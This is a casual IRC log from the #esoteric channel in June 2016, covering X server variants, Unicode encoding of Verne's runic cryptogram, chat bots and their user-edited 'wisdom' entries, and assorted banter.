C13-U, CNS-U, VMA-U, DDL-U 11:39:50 Fun fact: you can peek at the Xvfb framebuffer by adding a -fbdir argument. (It will make one xwd file there for each screen, and then mmap the framebuffer memory from there.) 11:41:17 rofl 11:41:23 And the other Xnest-like thing is called Xephyr. 11:41:38 fizzie: nice, thanks for both of those info 11:41:43 I will probably promptly forget that 11:41:46 (I think it mostly does more modern X extensions than Xnest, or some-such.) 11:41:57 maybe we should make a list in some wisdom entry or something 11:42:32 “Think Xnest but with support for modern extensions like composite, damage and randr.” says man Xephyr. 11:43:12 Melvar: ok, I'll have to check both of those then 11:44:44 It goes on to explain that Xnest is a proxy limited to the capabilities of the host server, whereas Xephyr does its own processing and merely draws an image for the host server. 11:45:50 Apparently there were also plans for a "xf86-video-nested" video driver to run a "regular" X server using a X window as the video output, but that seems to have gone nowhere. 11:46:21 https://www.x.org/wiki/Releases/7.8/ "TODO -- These have been discussed, but are not yet integrated to the source repos, and may or may not happen -- Replace Xephyr, Xvfb, Xnest, Xfake, etc. with Xorg using xf86-video-dummy and xf86-video-nested". 11:46:29 Melvar: meh, when a software documentation says "this software is like foo but better" then I NEVER believe anything it says about foo, because it usually compares itself with some ancient version of foo and the docs is never updated to tell that foo is already better and knows all that's listed there. 11:47:06 Although in the case of an old X11 utility, there's less chance for this, I'll still have to examine Xnest on its own first, rather than trying to gleam information about it from the Xephyr docs. 11:50:44 man Xnest suggests to me that it is in fact a thinner proxy than Xephyr, at any rate. Less like Xephyr is better than it serves a different purpose. 11:52:16 Melvar: thanks 11:54:24 Though I might be wrong since I’m not sure what the respective purposes are supposed to be. 11:56:55 <\oren\> http://www.orenwatson.be/verne.htm 11:58:31 <\oren\> still working on it 11:59:22 \oren\: What is the first part? 12:02:23 <\oren\> The encrypted version from the book 12:02:32 <\oren\> http://www.gutenberg.org/files/18857/18857-h/18857-h.htm#CHAPTER_3 12:04:13 Ah. It’s been so long since I read the book that I didn’t remember it was encrypted … also then does it make sense to display the decrypted version in runes? 12:07:01 <\oren\> Not sure 12:13:48 @metar CYUL 12:13:48 CYUL 211100Z 27010G16KT 30SM FEW180 FEW240 19/09 A2973 RMK AC1CI1 AC TR CI TR SLP070 DENSITY ALT 700FT 12:14:11 * Melvar reads. 12:14:13 Ah. 12:14:21 I guess it does. 12:15:13 I was confused about the correspondence for a bit due to a single rune being transcribed as “mm”. 12:23:13 -!- boily has quit (Quit: MARINATED CHICKEN). 12:23:51 `unidecode ᛉᛘ 12:23:52 ​[U+16C9 RUNIC LETTER ALGIZ EOLHX] [U+16D8 RUNIC LETTER LONG-BRANCH-MADR M] 12:24:25 \oren\: It kinda looks like you used the former of these two, where the latter was meant. ↑ 12:25:27 -!- SLiV has quit (Quit: Page closed). 12:25:41 -!- SLiV has joined. 12:28:48 Melvar: yes, it does make sense to display the decrypted version in runes, 12:30:05 Melvar: except that there are two or three typos that are in the encrypted rune version but NOT in the encrypted latin script version, and so those typos are certainly made by Verne, not by Professor Lindenbrock or Axel (who couldn't magically undo the typos before knowing the decryption). 12:31:12 ``` cat wisdom/ᛁ* 12:31:13 ​ᛁᚿ ᛋᚿᛅᚠᚠᛚᛚᛋ ᛁᚮᚴᚢᛚᛁᛋ ᚴᛦᛆᛏᛅᛦᛅᛘ ᚴᛅᛘ ᚦᛅᛚᛁᛒᛆᛏ ᚢᛘᛒᛦᛆ ᛋᚴᛆᛦᛏᛆᛦᛁᛋ ᛁᚢᛚᛁᛁ ᛁᚿᛏᛦᛆ ᚴᛆᛚᛅᚿᚦᛆᛋ ᚦᛅᛋᚴᛅᚿᚦᛅ, ᛆᚢᚦᛆᛋ ᚢᛁᛆᛏᚮᛦ, ᛏᛅ ᛏᛅᛦᛦᛅᛋᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿg 12:31:38 ``` < wisdom/ᛁ* perl -e 'local$/;print substr,300' 12:31:39 ​›á›¦á›… ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿgᛅᛋ. ᚴᚮᚦ ᚠᛅᚴᛁ. ᛆᛦᚿᛅ ᛋᛆᚴᚿᚢᛋᛋᛅᛯ 12:32:07 Melvar, \oren\ ^^^ that's the decrypted inscription with the two typos that perhaps shoudln't be there, and possibly errors I myself introduced 12:32:32 but there are lots of runes of which I'm not sure of the unicode encoding, see the details back in the channel logs 12:34:56 -!- Koen_ has joined. 12:36:05 -!- Koen__ has joined. 12:37:40 -!- Koen___ has joined. 12:38:54 -!- Koen___ has quit (Read error: Connection reset by peer). 12:39:27 -!- Koen_ has quit (Ping timeout: 264 seconds). 12:41:08 -!- Koen__ has quit (Ping timeout: 272 seconds). 12:41:17 Well, there’s the matter of that double-m bind rune. Perhaps it should be MAÐR + ZWJ + MAÐR. 12:42:10 -!- oerjan has joined. 12:42:20 Is it just me or did HackEgo output mojibake? 12:42:39 Melvar: I don't think so. futhark runes (as opposed to old hungarian runes) don't usually have ligatures, the MM rune is a new separate character on its own right 12:43:57 gah no clog 12:44:35 Melvar: sorry, I did a substr such that it cut in the middle of a character in the utf8 12:44:35 -!- Koen_ has joined. 12:44:38 Melvar: let me try again 12:44:46 ``` < wisdom/ᛁ* perl -e 'local$/;print substr,299' 12:44:48 ​ᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿgᛅᛋ. ᚴᚮᚦ ᚠᛅᚴᛁ. ᛆᛦᚿᛅ ᛋᛆᚴᚿᚢᛋᛋᛅᛯ 12:44:54 Melvar: is that betteR? 12:45:08 that's the second half of the inscription, the first half should be fine above 12:45:15 ``` < wisdom/ᛁ* # first half 12:45:16 No output. 12:45:18 huh 12:45:21 Yes. Except I don’t know why the g is in there. 12:45:22 ``` cat wisdom/ᛁ* # first half 12:45:23 ​ᛁᚿ ᛋᚿᛅᚠᚠᛚᛚᛋ ᛁᚮᚴᚢᛚᛁᛋ ᚴᛦᛆᛏᛅᛦᛅᛘ ᚴᛅᛘ ᚦᛅᛚᛁᛒᛆᛏ ᚢᛘᛒᛦᛆ ᛋᚴᛆᛦᛏᛆᛦᛁᛋ ᛁᚢᛚᛁᛁ ᛁᚿᛏᛦᛆ ᚴᛆᛚᛅᚿᚦᛆᛋ ᚦᛅᛋᚴᛅᚿᚦᛅ, ᛆᚢᚦᛆᛋ ᚢᛁᛆᛏᚮᛦ, ᛏᛅ ᛏᛅᛦᛦᛅᛋᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿg 12:45:40 Melvar: the g is there because I didn't know how to encode it in unicode 12:46:03 Melvar: I also don't know how to encode the "d" rune, but I used the "th" rune which is at least superficially similar and possibly related to it 12:46:25 “They are extremely rare in Viking Age inscriptions, but are common in earlier (Proto-Norse) and later (medieval) inscriptions.” — https://en.wikipedia.org/wiki/Bind_rune 12:46:58 Melvar: I see 12:47:07 Melvar: but still, the text explicitly calls out for a double-m rune 12:47:08 let me find it 12:47:15 (it's also in the channel log) 12:49:13 `unidecode ᛯ 12:49:14 ​[U+16EF RUNIC TVIMADUR SYMBOL] 12:49:16 Melvar: https://fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_3 "En effet, la première lettre est une double M qu’on chercherait vainement dans le livre de Turleson [the book in which the parchment with the message was hidden], car elle ne fut ajoutée à l’alphabet islandais qu’au quatorzième siècle." 12:50:03 Yes, and apparently the message was written by a sixteenth-century alchemist, so that would make sense. 12:50:23 The book itself being far older, of course. 12:50:28 Melvar: right 12:51:40 The one you used is said to be used as a calendar symbol only, but the name certainly looks like it was constructed as a double-M. 12:51:51 Melvar: anyway, the other problems with encoding include the two different variants of the C rune (used for c, k, q in the text), the two different variants of the A rune, and more. 12:51:54 * FireFly prods nortti 12:52:09 Also some stuff about capital letters looks strange. 12:52:20 And, I dunno what else, you'd have to search the channel logs 12:52:47 Yeah, the capitals are way strange since I don’t think any runes had a case distinction. 12:53:07 I don't think so either 12:54:08 Is this younger futhark? 12:54:40 Melvar: sure, but the alchemist who wrote it in the 12th century was probably familiar with a variant of the latin script that had case distinction, so that part at least isn't too strange. 12:55:21 FireFly: it's... complicated. It's some made-up version of futhark probably, one Verne figured from incomplete sources, because he didn't know too much about the history of futhark. Or so I gather. 12:55:26 -!- SLiV has quit (Quit: Page closed). 12:55:41 Ah, it looks like the message has them different in size. 12:55:51 Melvar: not only different size, but also shape 12:55:56 I see 12:56:10 Melvar: the capital I rune has serifs, and, wait, there was one with an even more strange difference 12:56:26 What a funny idea 12:56:29 serifs on runes 12:56:35 Indeed. 12:57:46 Amusing aside: At home I have a thing with something that’s described as “an actual bookstaff”, this being a rod of beech-wood with runes carved into it. 12:58:09 FireFly: what? serifs on runes make sense. runes have their shape because they were carved in wood, but later runes also got carved to stone, and in stone the serifs help 12:59:19 Melvar: look at the A at the start of Arne, that one has a different shape from the normal A apparently 12:59:23 I guess? But I've never seen any serifs on runes carved in stones 12:59:39 although the difference is probably only that it's a seriffed variant 12:59:41 the idea to put serifs on runes never occurred to me 12:59:54 FireFly: wait, are you some sort of rune carver or something? 13:00:13 with like chisels in your pocket 13:00:47 -!- clog has joined. 13:00:50 No :P 13:01:30 I mean, this is #esoteric, I brought the inscription in here because I fully expected that there will be at least people more familiar with futhark and/or unicode and/or futhark's unicode encoding than me. 13:01:46 So I wouldn't be too surprised to find people with chisels too. 13:01:56 Oh sure. hence prodding nortti above. He's the residentt rune expert as far as I know 13:02:02 I see 13:03:35 I only know how to read younger futhark 13:04:18 cuneiform has serif-like marks on the strokes but that's because it's written on soft clay 13:04:45 It's also not exactly carved, is it? 13:04:55 More molded, except I'm not sure if that is the right term 13:05:40 FireFly: yes, it's on paper or parchment or something, maybe with ink... I don't recall what the text says 13:06:10 The Verne thing? 13:06:18 I should read that book anyawy, regardless of inscriptions 13:06:20 FireFly: yes, the verne one 13:06:38 Btw, there are two scanned copies of probably the same original image, a better one on fr.wikisource, and a worse one (higher res but black and white) in an English translation of a book 13:10:24 FireFly: Impressed is what I have heard it called what cuneiform is. 13:10:42 Makes sense. 13:12:37 You specifically don’t want to remove any clay from the original glob, because that would just be a terrible mess to clean up. 13:16:11 `learn Cuneiform is the most impressive writing system. 13:16:14 Learned 'cuneiform': Cuneiform is the most impressive writing system. 14:04:17 -!- spiette has joined. 14:15:34 what happened to zfs fuse? http://zfs-fuse.net/ 14:20:07 izabera: Too much gambling, maybe. 14:20:36 that's sad 14:22:31 -!- Sgeo has quit (Ping timeout: 240 seconds). 14:52:21 -!- lleu has joined. 14:54:06 -!- lleu has quit (Client Quit). 14:54:21 -!- lleu has joined. 14:54:49 -!- lleu has quit (Read error: Connection reset by peer). 15:00:19 -!- nycs has joined. 15:06:27 -!- Koen_ has quit (Read error: Connection reset by peer). 15:06:47 -!- Koen_ has joined. 15:13:36 -!- Koen__ has joined. 15:14:03 -!- Koen_ has quit (Read error: Connection reset by peer). 15:31:53 that seems like a bug...lambdabot wont tell you you have messages if the only tjing you say is addressed to lambdabot... 15:47:43 -!- bauen1 has quit (Quit: see ya - bauen1). 15:47:46 -!- bauen1_ has joined. 15:48:55 -!- bauen1_ has quit (Client Quit). 15:49:02 -!- bauen1 has joined. 15:49:02 -!- bauen1 has quit (Client Quit). 15:49:11 -!- bauen1 has joined. 15:54:36 -!- Koen__ has quit (Remote host closed the connection). 16:11:51 -!- idris-bot has quit (Ping timeout: 264 seconds). 16:12:13 -!- Melvar` has joined. 16:13:10 -!- Melvar has quit (Ping timeout: 260 seconds). 16:25:59 -!- Melvar` has changed nick to Melvar. 16:28:08 -!- idris-bot has joined. 16:30:45 <\oren\> unicode 9.0.0 is being released today by the way 16:31:15 <\oren\> the emoji are now considered wide characters 16:32:44 <\oren\> which will finally fix the problems with emoji in terminals 16:37:35 <\oren\> it also provides some new symbols which ill add tonight 16:43:07 -!- Kaynato has joined. 17:02:55 \oren\: I see 17:03:11 "some new symbols which ill add tonight" => huh, what symbols are you talking about here? 17:05:11 <\oren\> the new miscellaneuous technical 17:05:39 \oren\: why are you interested in those in particular, as opposed to all the old symbols? 17:06:23 <\oren\> because i have virtually the whole miscellaneous tecjnical block covered 17:06:41 <\oren\> it would be nice to cover it completely 17:07:25 \oren\: I see 17:10:51 [wiki] [[Fractran++]] M https://esolangs.org/w/index.php?diff=47241&oldid=30212 * LegionMammal978 * (+13) /* References */ 17:30:07 -!- hppavilion[1] has joined. 17:40:02 [wiki] [[Omam]] https://esolangs.org/w/index.php?diff=47242&oldid=47214 * Marinus * (-38) Doesn't belong in category "unusable for programming", it's equivalent to Brainfuck. 17:42:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 18:15:33 -!- idris-bot has quit (Ping timeout: 244 seconds). 18:29:28 -!- oerjan has quit (Quit: Later). 19:03:35 What are the new ones? 19:22:00 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds). 19:24:54 <\oren\> zzo38: the power symbols and the sleep mode symbol 19:25:18 -!- moon_ has joined. 19:25:32 i made hbot a lot less vulnerable to forkbombs, and i finally made it work 19:25:49 Forkbombs are no longer bot murdering monsters 19:29:28 -!- Phantom_Hoover has joined. 19:29:36 hi phantom 19:29:48 i just managed to make hbot no longer vulnerable to forkbombas 19:31:29 is there a way to run sql queries on imdb? 19:31:51 i need to find a movie and i only know a list of actors in it 19:34:16 izabera: dunno. I think you can list all movies of one actor, so you can start from that, or maybe ask http://movies.stackexchange.com/ if this is possible, or ask there directly about the movie 19:37:36 <\oren\> i think hound can do that 19:38:04 <\oren\> what are theactors 19:38:19 <\oren\> you s 19:39:13 harrison ford, mark hamill and carrie fisher 19:39:48 I think I also remember people on some forum or irc channel give trivia quiz questions of the form of a movie with multiple actors, so you could try to find such strange people. 19:40:38 <\oren\> return of the jedi and empire strikes back 19:40:41 izabera: aren't those the top billed actors in _Star Wars: The Force Awakens_? 19:40:48 oh that's it 19:40:55 you guys rock 19:41:05 hehe 19:41:08 no jk that was an easy one to test you 19:41:19 cameron diaz hugh laurie and rowan atkinson 19:41:29 scratch what i said 19:41:41 the version of nice i have is not very nice about subprocesses 19:41:47 looks like googling their names works though 19:42:03 moon_: do you even cgroups 19:42:49 <\oren\> hmm the search went through but Hound couldnt find the answer 19:43:46 <\oren\> the guy working on this is a few cubes over ill send him an email 19:43:55 izabera: does it have to be a movie as opposed to some other genre like a TV series? 19:44:18 well i found it and it wasn't cameron diaz but joely richardson <.< 19:44:25 blame the crappy youtube video 19:44:33 ah! 19:45:22 -!- Sgeo has joined. 19:45:31 someone should make a website that does this 19:45:49 something like thatmoviewith.xyz 19:46:09 iza, im looking into cgroups right now >_> 19:46:22 oh there's http://thatmoviewith.com/ and it does that but it's an iphone app 19:48:42 izabera: movies.stackexchange.com might work in those cases. http://movies.stackexchange.com/q/50236/ is an example for a question like that. 19:49:16 izabera: "work" in that it is probably not the kind of post they like the most, but it's on-topic and might get an answer 19:49:55 l 19:50:02 http://movies.stackexchange.com/q/21758/ is another such question (id question with clips on youtube available) 19:50:29 If you actually have a clip (on youtube or wherever) from the movie, it's probably a much better question than if you just post a description anyway. 19:51:25 i found it thanks <.< 19:51:35 izabera: sure, btu you said "someone should make a website that does this" 19:51:49 and movies.stackexchange.com might qualify as such a website 19:51:51 i meant in a more automatic way 19:52:41 why? do you need lower latency because you want to cheat in some sort of game show or other quiz? or more privacy about your question than that website offers? 19:52:57 because i like machines more than humans 19:53:49 izabera: in that case ask the meta question on movies.stackexchange.com , that is, ask how you can do such queries in an automated way 19:54:38 top answer will be to write a bot that asks movie.se and then scraps the answers and returns the result 19:55:14 -!- j-bot has joined. 19:55:32 <\oren\> http://www.imdb.com/search/common 19:55:32 -!- Koen_ has joined. 19:56:17 <\oren\> not very flexible uf 19:57:09 <\oren\> s/uf/unf 19:57:43 <\oren\> i hate it when i mispell an abbreviation 19:59:25 um, what's "unf"? 19:59:27 `? unf 19:59:35 unf? ¯\(°​_o)/¯ 19:59:51 -!- Koen_ has quit (Ping timeout: 240 seconds). 20:00:02 <\oren\> unfortunately 20:00:55 * izabera thought it meant unflexible 20:04:10 -!- moon_ has quit (Quit: Page closed). 20:04:21 on the esowiki, do we have a category for array languages, in the sense of eg. any of (APL, matlab, Mathematica, maxima, GAP), in which any of the built-in arithmetical primitives map to arrays of numbers automatically? 20:16:18 [wiki] [[Esolang talk:Categorization]] https://esolangs.org/w/index.php?diff=47243&oldid=43215 * B jonas * (+782) /* Array-based languages */ new section 20:16:20 [wiki] [[Jelly]] https://esolangs.org/w/index.php?diff=47244&oldid=46026 * B jonas * (+256) 20:21:26 `olist 1041 20:21:27 olist 1041: shachaf oerjan Sgeo FireFly boily nortti b_jonas 20:22:59 th_jonas 20:25:06 -!- jaboja has joined. 20:28:06 ooohh.... so many future plot points! 20:29:52 -!- jix_ has quit (Ping timeout: 264 seconds). 20:30:01 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 20:30:19 How many? 20:30:24 -!- J_Arcane has joined. 20:30:28 -!- Sprocklem has quit (Ping timeout: 264 seconds). 20:30:28 -!- aloril has quit (Ping timeout: 264 seconds). 20:30:28 -!- espes___ has quit (Ping timeout: 264 seconds). 20:30:29 -!- Nithogg_ has quit (Ping timeout: 264 seconds). 20:31:01 Boots of Free Movement, redundant Xs? 20:31:04 -!- toon has quit (Ping timeout: 264 seconds). 20:31:23 shachaf: four, I think 20:31:25 -!- jix has joined. 20:31:40 Which ones? 20:31:49 -!- Sprocklem has joined. 20:31:51 -!- espes__ has joined. 20:31:59 shachaf: yes, those two, plus Redcloak mentions one of his weaknesses that can be used against his team in a fight later, plus magic belt 20:32:18 -!- toon has joined. 20:34:14 shachaf: and for the boots, note that Xykon has been in a situation where that would have been useful, in http://www.giantitp.com/comics/oots0653.html first panel. I think. I'm not sure about the rules. 20:34:31 -!- augur has joined. 20:37:12 -!- Koen_ has joined. 20:41:04 who is lambdabot's maintainer? 20:42:05 quintopia: dunno, try asking in #haskell 20:42:25 could have sworn it was someone who hangs out here 20:42:41 It was. 20:42:46 `? lambdabot 20:42:47 -!- jaboja has quit (Read error: Connection reset by peer). 20:42:53 maybe hackego knows 20:42:57 `? weather 20:42:59 lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK 20:43:01 lambdabot is a fully functional bot. just don't ask about @src. 20:43:02 CYUL 211900Z 24016G22KT 30SM SCT065 SCT240 24/06 A2973 RMK CU3CI1 SLP068 DENSITY ALT 1400FT \ ENVA 211920Z 25008KT 9999 BKN045 13/09 Q1015 NOSIG RMK WIND 670FT 28011KT \ ESSB 211920Z 20006KT CAVOK 18/13 Q1014 \ KOAK 211853Z 27007KT 10SM FEW200 23/12 A3003 RMK AO2 SLP168 T02330122 20:43:11 hmm 20:43:21 `8-ball Who maintains lambdabot? 20:43:23 Don't count on it. 20:43:27 -!- Nithogg_ has joined. 20:43:55 -!- aloril has joined. 20:45:15 Cale: quintopia asks who maintains lambdabot, maybe you know the answer 20:45:33 I think it's currently int-e 20:45:37 shachaf: "It was." as in he no longer hangs out here because I sent them away? 20:45:39 whew 20:45:45 Cale: thanks 20:45:46 quintopia: ^ 20:45:59 `? int-e 20:46:03 int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv. 20:46:16 ``` grep -Rli lambdabot wisdom 20:46:53 b_jonas: It was Cale, and then it was elliott, and then it was int-e. 20:47:04 shachaf: ah 20:47:25 shachaf: hmm, did anyone volunteer to maintain geordi yet then? 20:47:34 wisdom/lambdabot \ wisdom/prefixes \ wisdom/weather \ wisdom/ghci \ wisdom/reflection 20:47:36 Eelis said he needs a new maintainer 20:47:47 I didn't. 20:48:22 `? prefixes 20:48:23 Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , j-bot [ . 20:48:27 ah 20:49:24 `? Cale 20:49:25 Cale? ¯\(°​_o)/¯ 20:49:34 WTF! 20:49:48 `? shachaf 20:49:50 shachaf is a wise little gentleman. 20:49:56 ?! 20:49:56 Maybe you meant: v @ ? . 20:49:59 `hoag wisdom/shachaf 20:50:03 learn shachaf is a wise little gentleman. \ learn shachaf is was little gentleman \ ` cat < wisdom/funpun | cat | rot13 | cat | cat > wisdom/shachaf \ learn_append shachaf The unit of bad punnery is named after him. \ learn_append shachaf He hates bell peppers with a passion. \ revert \ Elronnd: What? 20:50:17 Why did you overwrite my wisdom entry? 20:50:32 `help 20:50:32 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 20:51:15 `` hg log wisdom/shachaf 20:51:21 changeset: 8345:7b160701cdf9 \ user: HackBot \ date: Sun Jun 05 07:03:52 2016 +0000 \ summary: learn shachaf is a wise little gentleman. \ \ changeset: 8344:dc5988a2985d \ user: HackBot \ date: Sun Jun 05 07:03:38 2016 +0000 \ summary: learn shachaf is was little gentleman \ \ changeset: 20:52:13 Elronnd: And you did it in /msg or something? I don't see it in the logs. 20:54:26 `` hg cat -r 8343 wisdom/shachaf > wisdom/shachaf 20:54:36 No output. 20:56:41 -!- idris-bot has joined. 20:57:37 `learn Cale is the inventor of the calzone. 20:57:42 Learned 'cale': Cale is the inventor of the calzone. 20:58:35 Does wisdom have any symlink to directory (recursively) under it? 20:59:39 ``` find wisdom -type l \! -xtype f 20:59:41 probably no 20:59:44 No output. 21:02:04 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 21:02:48 -!- spockers has joined. 21:06:14 -!- jaboja has joined. 21:16:21 -!- Lord_of_Life has quit (Excess Flood). 21:19:42 -!- Lord_of_Life has joined. 21:22:36 -!- augur has quit (Remote host closed the connection). 21:29:33 What does WM_CLIENT_LEADER mean? 21:39:28 -!- izabera has quit (Ping timeout: 272 seconds). 21:40:32 -!- izabera has joined. 21:41:55 `` echo wisdom/*ccc* 21:41:57 wisdom/=@ccc wisdom/ioccc wisdom/ioccclist 21:42:15 We don't know icccm. 21:58:01 -!- nunatak has joined. 22:14:05 -!- augur has joined. 22:33:09 -!- nunatak has quit (Quit: Verlassend). 22:34:22 There is many variant of Crazy Eights card game, I think. 22:40:46 zzo38: Have you invented a card game based on chess? 22:43:20 No, but I think someone else has done 22:45:27 -!- jaboja has quit (Ping timeout: 264 seconds). 22:47:35 `? ioccc 22:47:36 The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist. 22:47:44 `? ioccclist 22:47:45 ioccclist is update notification for when a new year of the International Obfuscated C Code Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.ioccc.org/#news 22:48:29 Did you hear about my dream? 22:48:35 I don't remember the details of it anymore. 22:48:44 But there was a conference about cartesian closed categories called "IOCCC". 22:49:18 International Obfuscated Cartesian Closed Categories" 22:49:54 I wonder why it took so long to release the source code after the winners were announced 22:51:11 HackEgo confused me there >_< 22:51:34 Still, almost 6 months? 22:57:06 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:00:30 -!- nycs has quit (Quit: This computer has gone to sleep). 23:00:48 -!- moon_ has joined. 23:05:12 shachaf: did you fix your wisdom entry yet 23:05:21 `? shachaf 23:05:22 shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him. 23:05:34 okay good (y) 23:05:36 -!- augur has quit (Remote host closed the connection). 23:06:12 -!- augur has joined. 23:06:20 I'm quite irritated that Elronnd edited my wisdom entry in secret. 23:06:23 Very hostile. 23:07:50 is the "hates with a passion" thingy a recurrent joke? 23:09:20 Is it? 23:09:24 I didn't put it in there. 23:09:26 `? oerjan 23:09:27 Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 23:10:10 I liked the phrase "for his convenience". It's a shame that's gone. 23:10:57 at least "mildly dislikes with a passion" is a proper comedic form 23:11:15 -!- augur has quit (Ping timeout: 264 seconds). 23:11:29 <\oren\> `? oren 23:11:30 oren is a Canadian esolanger who would like to obliterate time zones so that he can talk to his father who lives in the same house. He'll orobablu get the hang of toycj tuping soon. He also has a rabid hatred of the two-storey lowercase a. 23:12:05 <\oren\> aaaaaaaaaaa why does my android have one! 23:12:32 -!- augur has joined. 23:13:08 <\oren\> i didnt notice until now the ugly ugly three storey g and two storey a 23:23:59 -!- J_Arcane_ has joined. 23:25:43 -!- J_Arcane has quit (Ping timeout: 250 seconds). 23:25:53 -!- J_Arcane_ has changed nick to J_Arcane. 23:31:27 Speaking of typography, I heard TfL (Transport for London) commissioned a new variant of the font the use in the Tube from Monotype, called Johnston100, to replace the old New Johnston. 23:33:39 hizzie 23:33:54 How's London? 23:34:05 Multiple people I know are visiting there for a while. 23:34:17 We just moved offices. 23:34:34 I came back from a two-week Finland vacation this Monday, straight to the new place on its first day of business. 23:35:33 http://www.businessinsider.com/googles-new-11-storey-office-in-londons-kings-cross-2016-6 23:36:07 So far it feels much more like a generic corporate office than the previous one -- no quirky quirks of any kind. 23:36:55 But maybe they'll adjust it. Only the top half's done, anyway. 23:37:28 fizzie: Funny, I heard the same thing from the people I worked with about the office they moved to. 23:37:44 (The word "corporate" in particular.) 23:38:24 Maybe they've hired more that kind of people in the REWS organization. 23:38:44 I know the ones in London don't even like our mannequins. 23:39:02 I'm sure whoever is in charge of that organization REWS the day they hired those people. 23:40:11 Our team's got six or so mannequins dressed up in various animal costumes, and grapevine has it all REWS does internally is complain about them. We didn't even dare to let them move that stuff, for fear of it accidentally "getting lost". 23:40:27 AIUI, one of the senior folks now has a car full of body parts as a result. 23:41:11 (I don't know, I was in Finland.) 23:46:20 But what I heard was that the new London office was going to be the best office ever made. 23:46:25 Or is that yet another office? 23:48:04 It's yet another one. 23:48:10 They still haven't start building that one. 23:48:15 This is just a rented building. 23:49:45 They won't let you have mannequins in the rented office? 23:56:39 -!- augur has quit (Remote host closed the connection). 2016-06-22: 00:00:10 I'm sure they will, but they'd rather we didn't. 00:01:07 Why? 00:02:41 I'm not sure. Maybe they've got something against fun? I think fire safety was mentioned as well. 00:02:49 The corridors were getting a bit crowded. 00:06:41 -!- moon___ has joined. 00:06:43 hi 00:07:35 -!- yorick_ has changed nick to yorick. 00:08:20 -!- moon___ has left. 00:13:47 fizzie: did you recognize any good speeches lately 00:14:38 would you say that synthesis-recognition is a section-retraction pair 00:15:59 I'm not category enough to say such a thing. 00:16:47 it means that one composition of them is the identity 00:17:20 (and the other is idempotent, of course) 00:18:19 -!- boily has joined. 00:18:32 Maybe in some sort of an ideal case, then. 00:19:08 yes 00:19:39 -!- moon_ has quit (Ping timeout: 264 seconds). 00:21:20 does this channel have an ideal? or at least an eigenvalue? 00:21:31 @massages-loud 00:21:31 quintopia said 22h 37m 14s ago: Hope you like dark and malty. You're getting 24floz of barleywine and stout for a grand total of 2.94floz of alcohol. 00:21:51 quintopia: QUINTHELLOPIA! ^_^ <3 <3 <3 00:22:22 boily: in principle hth 00:23:29 hellochaf. tdh. 00:24:28 -!- augur has joined. 00:39:50 are ideal principles like principal ideals? 00:40:25 boily: nice job spotting that lambdabot bug 00:41:02 or revealing it i mean 00:41:46 there's a bug? 00:46:39 -!- oerjan has joined. 00:51:30 hellørjan. are you idealistic? 00:52:06 laboilyas. somewhat. 00:53:11 . o O ( laboilyas??? dequosséque? ) 00:53:48 *MWAHAHAHAS* 00:53:49 oerjan seems more filteristic to me hth 00:54:12 oerjan: i propose a rule against editing wisdom entries off-channel hth 00:54:36 (tip: this language has a _lot_ of words ending in -as) 00:54:48 `? shachaf 00:54:49 shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him. 00:54:55 espcially people's names 00:54:58 i see it was fixed. 00:55:05 oerjan: lithuanian? 00:55:10 boily: *DINGAS* 00:55:16 fixed in-channel, mind you 00:56:05 shachaf: well there's a reason i used to read through the recent repository history, before i retired. 00:56:17 oerjan: i thought you unretired 00:56:31 an easy misunderstanding. 00:56:33 `le/rn dingas/The sound of a Baltic bell. Its chime sounds like potatoes. 00:56:35 Learned «dingas» 00:57:26 huh, dingas seems to be a genuine lithuanian word 00:58:01 assuming google translate can be trusted. 00:58:13 lithuanian: so easy. as long as you ignore the 8 cases. 00:58:21 (i think it's 8) 00:59:12 `? shavention 00:59:13 shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 00:59:46 québécois, meanwhile, is completely incomprehensible. 00:59:56 `before 00:59:58 wisdom/dingas//The sound of a Baltic bell. Its chime sounds like potatoes. 01:00:08 what a bug 01:00:13 shaventions are useless 01:00:42 what bug now 01:00:53 It should be an error, shouldn't it? 01:00:57 you mean if it created a file? 01:01:30 probably. 01:04:38 `before wisdom/oerjan 01:04:41 wisdom/oerjan//Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 01:04:51 `? oerjan 01:04:53 Your mysterious renouned cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 01:05:12 looks like that part works. 01:05:34 oerjan: eh? of course québécois is grokkable! tsé. 01:06:35 you're biased, indoctrinated and 